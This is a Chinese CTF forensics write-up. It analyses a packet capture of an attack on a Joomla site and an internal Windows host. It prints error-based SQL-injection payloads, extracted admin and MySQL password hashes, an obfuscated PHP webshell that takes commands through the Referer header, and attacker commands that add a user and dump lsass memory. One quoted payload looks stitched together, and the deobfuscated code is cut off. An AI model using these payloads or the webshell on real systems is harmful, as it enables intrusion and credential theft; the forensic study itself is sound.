经典流量分析题目,每次都要拿出来用索性整理好下次方便点
本文所用的WireShark语法
http 显示出所有的HTTP协议数据
ip.addr == xxxx 显示出所有数据中地址为xxxx的包
ip.src == xxxx 显示出所有数据中源地址为xxxx的包
ip.dst == xxxx 显示出所有数据中目的地址为xxxx的包
mysql 显示所有的MySQL协议
问题
0x01 黑客攻击的第一个受害主机的网卡IP地址
过滤出http协议后简单翻阅数据包发现,一个主机对一个服务器进行了请求,之后又发现该主机对服务器进行SQL注入,从而确定黑客IP为: 202.1.1.2 。
0x02 黑客对URL的哪一个参数实施了SQL注入
根据前面看到的SQL注入很明显的发现了黑客对 list[select] 进行了注入
0x03 第一个受害主机网站数据库的表前缀
根据前面看到的SQL注入,然后进行追踪HTTP流看到服务器报错使之表前缀显示了出来
简单看一下SQLMAP如何进行注入的
XfqR=2916 AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert("XSS")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#
可以看到 XfqR=2916 不成立导致报错产生,从而出来敏感信息。
0x04 第一个受害主机网站数据库的名字
黑客最后一条数据爆出来肯定存在相应的数据库名,例如 from A.B
A是数据库名,B是表名。查看最后一条SQL注入信息
解码注入信息可得
(UPDATEXML(6315,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(username AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),4235))
可以看到数据库名以及表名前缀,更加证实了前面一道题的可靠性。
0x05 Joomla后台管理员的密码是多少
使用ip.dst == 192.168.1.8 && http contains "password"
查看得到三个数据
Status: 500 XPATH syntax error: 'qqzvq$2y$10$lXujU7XaUviJDigqqkkq' SQL=SELECT (UPDATEXML(5928,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7096)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
Status: 500 XPATH syntax error: 'qqzvqFMzKy6.wx7EMCBqpzrJdn7qqkkq' SQL=SELECT (UPDATEXML(3613,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),23,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),7939)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
Status: 500 XPATH syntax error: 'qqzvqzi/8B2QRD7qIlDJeqqkkq' SQL=SELECT (UPDATEXML(8949,CONCAT(0x2e,0x71717a7671,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),45,22) FROM joomla.ajtuc_users ORDER BY id LIMIT 0,1),0x71716b6b71),3079)),uc.name AS editor FROM `ajtuc_ucm_history` AS h LEFT JOIN ajtuc_users AS uc ON uc.id = h.editor_user_id WHERE `h`.`ucm_item_id` = 1 AND `h`.`ucm_type_id` = 1 ORDER BY `h`.`save_date`
随后看到相关加密字符串:$2y$10$lXujU7XaUviJDigFMzKy6.wx7EMCBqpzrJdn7zi/8B2QRD7qIlDJe
0x06 黑客第一次获得的php木马的密码是什么
还是根据(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http
发现有一个奇怪的kkkaaa.php文件,其中发现POST方式打开可得一个经典的WEBSHELL,发现密码为 zzz
0x07 黑客第二次上传php木马是什么时间
因为黑客又上传了一次马,所以索性按照POST过滤查看(ip.addr == 192.168.1.8 || ip.addr == 202.1.1.2) && http.request.method==post
发现其中一个数据包所含大量的16进制数据:
将其提取出来,转换如下所示:
<?php
$p='l>]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5';
$d=']q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>';
$W='),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base';
$e=']T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>';
$E='>]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}';
$t='($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>';
$M=']$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto';
$P=']f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>';
$j=str_replace('fr','','cfrrfreatfrfre_funcfrtfrion');
$k='];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>';
$g='"";for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>';
$R='$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=';
$Q=']s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>';
$v=']mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]';
$x=str_replace('>]','',$R.$g.$k.$e.$d.$M.$p.$t.$P.$Q.$v.$W.$E);
$N=$j('',$x);$N();
//j=create_function;
?>
简单的反混淆如下:
$kh="cb42";
$kf="e130";
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {
$i
}
^$k {
$j
}
;
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for ($z=1;$z$d");@session_destroy();}}}}
因此基本可以确定第二个木马就是在这个时间上传的:
Feb 7, 2018 17:20:44.248365000 中国标准时间
0x08 第二次上传的木马通过HTTP协议中的哪个头传递数据
由于上部分的马大概可以看到发现有两个头部进行了变化
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
查看后续数据包,发现包头Accept-Language比较正常,然而Referer看起来有点诡异
因此可的木马通过Referer传递协议
0x09 内网主机的mysql用户名和请求连接的密码hash是多少
直接搜索mysql过滤,直到第四个包才发现了mysql有关的东西,简单的查看发现黑客是通过爆破才找到的密码,那么直接拉到最后一条爆破记录看到
用户名密码为
admin:1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4
0x10 php代理第一次被使用时最先连接了哪个IP地址
再将其第四个数据包重新过滤为http发现有一个tunnel.php文件里面清晰可见了代理IP为4.2.2.2
0x11 黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候
获取系统可得为WINDOWS,查询目录文件命令就是 dir ,过滤查询语句就为:ip.addr==192.168.1.8 && http contains "dir"
时间就是: 18:36:59.770782
0x12 黑客在内网主机中添加的用户名和密码是多少
往后翻相应的数据包,由于之前的WEBSHELL特征我们能够看到响应的数据包未曾进行加密,所以查看回来的数据包发现黑客执行了 net user 命令
解密流量包发现黑可执行的查看用户命令
那么往下查数据包,解密流量包看到添加用户
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&net user kaka kaka /add&echo [S]&cd&echo [E]
可以看到添加用户密码为 kaka:kaka
0x13 黑客从内网服务器中下载下来的文件名
继续往后翻记录看到一条dump.exe的数据
cd/d"C:\phpStudy\WWW\b2evolution\install\test\"&procdump.exe -accepteula -ma lsass.exe&echo [S]&cd&echo [E]
继续后看发现一个.dmp文件以及后面大量的相同类型的包猜测此dmp是黑客下载的东西